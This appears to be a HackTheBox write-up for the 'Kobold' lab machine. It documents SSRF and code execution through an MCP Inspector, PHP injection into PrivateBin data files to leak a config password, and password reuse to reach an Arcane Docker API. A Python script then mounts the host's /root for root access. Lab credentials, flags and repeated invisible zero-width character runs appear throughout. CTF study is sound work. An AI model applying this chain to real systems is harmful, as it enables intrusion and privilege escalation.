← Back to Writeups
HTBMediumInfrastructure

Kobold

XESXOR9/2/20266 min read
#infrastructure#htb#medium#arcane_api_abuse_for_container#config_leak_via_shared_docker_#docker_container_host_mount_es#password_reuse_across_services#php_injection_into_privatebin_#rce_via_mcp_stdio_transport#ssrf_via_mcp_connect_endpoint#vhost_fuzzing_subdomain_discov#linux

Kobold

Platform: HackTheBox | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-11 | Status: Solved Techniques: arcane_api_abuse_for_container_creation, config_leak_via_shared_docker_volume, docker_container_host_mount_escalation, password_reuse_across_services, php_injection_into_privatebin_data_files, rce_via_mcp_stdio_transport, ssrf_via_mcp_connect_endpoint, vhost_fuzzing_subdomain_discovery

Summary

Task: HackTheBox machine with MCP Inspector, PrivateBin, and Arcane Docker Management. Solution: SSRF/RCE via MCP protocol, PHP injection into PrivateBin data files to leak config, password reuse to Arcane API, Docker container mount for root flag.

Kobold — HackTheBox

Description

HackTheBox machine at 10.129.55.13. Full pwn: find User Flag and Root Flag.

Target: 10.129.55.13 (HTB VPN) OS: Ubuntu Linux (Kernel, nginx 1.24.0) Services: SSH (22, OpenSSH 9.6p1), DNS (53/tcp), HTTP/HTTPS (80/443, nginx 1.24.0) Web: kobold.htb with wildcard SSL cert *.kobold.htb Flag format: 32-char hex hashes

Analysis

Medium-difficulty machine with a multi-stage attack chain involving three distinct services:

  1. MCPJam Inspector (mcp.kobold.htb) — MCP protocol inspector tool with REST API that allows connecting to arbitrary MCP servers, providing both SSRF and RCE capabilities.
  2. PrivateBin 2.0.2 (bin.kobold.htb) — Pastebin with client-side encryption running in a Docker container. The operator group has write access to its data directory, enabling PHP code injection.
  3. Arcane Docker Management Platform (port 3552) — Docker management API running as root. Default admin password was changed but matched reused PrivateBin database credentials. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The attack chain: subdomain discovery → MCP RCE for initial foothold → PHP injection to leak PrivateBin config → password reuse to authenticate to Arcane → Docker container mount for root.

Solution

Step 1: Reconnaissance

bash
nmap -sC -sV -T4 --top-ports 1000 10.129.55.13
PortServiceDetails
22/tcpSSHOpenSSH 9.6p1 Ubuntu 3ubuntu13.15
53/tcpdomain?TCP, not responding to DNS queries
80/tcpHTTPnginx 1.24.0 → redirects to https://kobold.htb/
443/tcpHTTPSnginx 1.24.0, SSL cert for kobold.htb + *.kobold.htb
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The main site is a static landing page for "Kobold Operations Suite" with contact admin@kobold.htb. The wildcard SSL certificate is a strong indicator of hidden subdomains.

Step 2: Subdomain Discovery

Virtual host fuzzing with ffuf, filtering by response size 154 (default 302 redirect):

bash
ffuf -u https://kobold.htb/ -H "Host: FUZZ.kobold.htb" -w /path/to/subdomains.txt -fs 154

Discovered subdomains:

  • mcp.kobold.htb — MCPJam Inspector (React SPA, MCP protocol inspector tool)
  • bin.kobold.htb — PrivateBin 2.0.2 (pastebin with client-side encryption) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: MCP Inspector Enumeration

The MCPJam Inspector at mcp.kobold.htb exposes a REST API:

EndpointMethodPurpose
/healthGETHealth check
/api/mcp/serversGETList connected MCP servers
/api/mcp/connectPOSTConnect to an MCP server (SSRF)
/api/mcp/tools/executePOSTExecute tools on connected servers
/api/mcp/oauth/proxyPOSTOAuth proxy (returns headers)

The /api/mcp/connect endpoint is an SSRF vector — it makes server-side requests to arbitrary URLs. Internal port scan via SSRF revealed: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

PortService
80nginx (external)
443nginx (external)
3552Arcane Docker Management Platform
6274MCP Inspector (Node.js)
8080PrivateBin (internal)
37255Unknown

Step 4: Initial Foothold — RCE via MCP Protocol

The MCP Inspector allows connecting to arbitrary MCP servers via /api/mcp/connect. By creating an inline Node.js MCP server using stdio transport that exposes a shell command execution tool, we achieved Remote Code Execution as user ben. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The attack leverages the MCP protocol's design — it's meant to connect to arbitrary tool servers, so the Inspector faithfully executes tools on any server it connects to, including malicious ones that expose shell access.

Generated an SSH key pair and added the public key to ben's ~/.ssh/authorized_keys for persistent access:

bash
ssh -i id_ed25519 ben@10.129.55.13
cat /home/ben/user.txt
# d4646b55dd23f992a0e298d6d30ec822

User flag: d4646b55dd23f992a0e298d6d30ec822

Step 5: Post-Exploitation Enumeration

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key findings as ben:

Users and groups:

  • ben (uid 1001) — groups: ben, operator (GID 37)
  • alice (uid 1002) — in docker group
  • root

Operator group permissions — write access to Docker-mounted volumes:

  • /privatebin-data/certs/cert.pem and key.pem (SSL certificates for nginx)
  • /privatebin-data/data/ (PrivateBin data directory with writable PHP files)

Arcane Docker Management Platform (port 3552):

  • Open source: https://github.com/getarcaneapp/arcane (v1.13.0)
  • Runs as root via systemd service
  • ENCRYPTION_KEY=Q3PbC9fpq/tPZ2waXI9+grmc8ualF7ITF5izX5rsk+E=
  • Database: SQLite at /root/data/arcane.db (not readable by ben)
  • API requires JWT Bearer or X-API-Key authentication
  • Default credentials arcane/arcane-admin — password was changed ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

PrivateBin Docker container (privatebin/nginx-fpm-alpine:2.0.2):

  • /privatebin-data/cfg → /srv/cfg (read-only mount)
  • /privatebin-data/data → /srv/data (read-write mount)
  • /privatebin-data/certs → /etc/ssl/privatebin (read-only mount)
  • Config directory owned by root:82 (container GID), not readable by ben

Step 6: PrivateBin Config Leak via PHP Code Injection

PrivateBin stores operational PHP files in /privatebin-data/data/:

  • purge_limiter.php — writable (0777), included via require when purge check triggers
  • traffic_limiter.php — read-only for operator group
  • salt.php — writable, but read via file_get_contents (not included as PHP) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attack: Modified purge_limiter.php to inject PHP code that reads the PrivateBin config from inside the container:

php
<?php
$GLOBALS["purge_limiter"] = "1000000000";
@file_put_contents('/srv/data/cfg_dump.txt', @file_get_contents('/srv/cfg/conf.php'));

Triggered execution by creating a paste via the PrivateBin API:

bash
curl -sk -X POST http://127.0.0.1:8080/ \
  -H "X-Requested-With: JSONHttpRequest" \
  -H "Content-Type: application/json" \
  -d '{"v":2,"adata":[["...encrypted..."],...],"ct":"...","meta":{"expire":"5min"}}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The injected code executed inside the container and dumped the config to /srv/data/cfg_dump.txt, accessible on the host as /privatebin-data/data/cfg_dump.txt.

Leaked credentials from conf.php:

ini
[model]
; Temporarily disabling while we migrate to new server for loadbalancing
;class = Database
[model_options]
dsn = "mysql:host=localhost;dbname=privatebin;charset=UTF8"
tbl = "privatebin_"
usr = "privatebin"
pwd = "ComplexP@sswordAdmin1928"

Step 7: Arcane API Authentication via Password Reuse

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The PrivateBin database password ComplexP@sswordAdmin1928 worked for the Arcane admin account:

bash
curl -X POST http://127.0.0.1:3552/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"arcane","password":"ComplexP@sswordAdmin1928"}'

Received a valid JWT token with admin role, granting full access to the Docker management API.

Step 8: Root Flag via Docker Container Escape

Used the Arcane API to create a Docker Compose project that mounts the host's /root directory: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
import json, subprocess, sys, time, os

TOKEN = sys.argv[1]

compose = """services:
  shell:
    image: privatebin/nginx-fpm-alpine:2.0.2
    user: "0:0"
    volumes:
      - /root:/mnt/root:ro
      - /privatebin-data/data:/mnt/output
    entrypoint: ["sh"]
    command: ["-c", "cat /mnt/root/root.txt > /mnt/output/root_flag.txt"]
"""

payload = json.dumps({"name": "pwn", "composeContent": compose})

# Create project
result = subprocess.run([
    "curl", "-sk", "-X", "POST",
    "http://127.0.0.1:3552/api/environments/0/projects",
    "-H", f"Authorization: Bearer {TOKEN}",
    "-H", "Content-Type: application/json",
    "-d", payload
], capture_output=True, text=True)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

data = json.loads(result.stdout)
project_id = data["data"]["id"]

# Deploy
subprocess.run([
    "curl", "-sk", "-X", "POST",
    f"http://127.0.0.1:3552/api/environments/0/projects/{project_id}/up",
    "-H", f"Authorization: Bearer {TOKEN}",
], capture_output=True, text=True)

time.sleep(5)

# Read flag
with open("/privatebin-data/data/root_flag.txt") as f:
    print(f.read())

Key detail: user: "0:0" is required because the default PrivateBin image runs as nobody. The container copies /root/root.txt to the shared volume at /privatebin-data/data/root_flag.txt, readable by ben. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
cat /privatebin-data/data/root_flag.txt
# 15c96b4e842465cac8fec5097dd19c68

Root flag: 15c96b4e842465cac8fec5097dd19c68 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍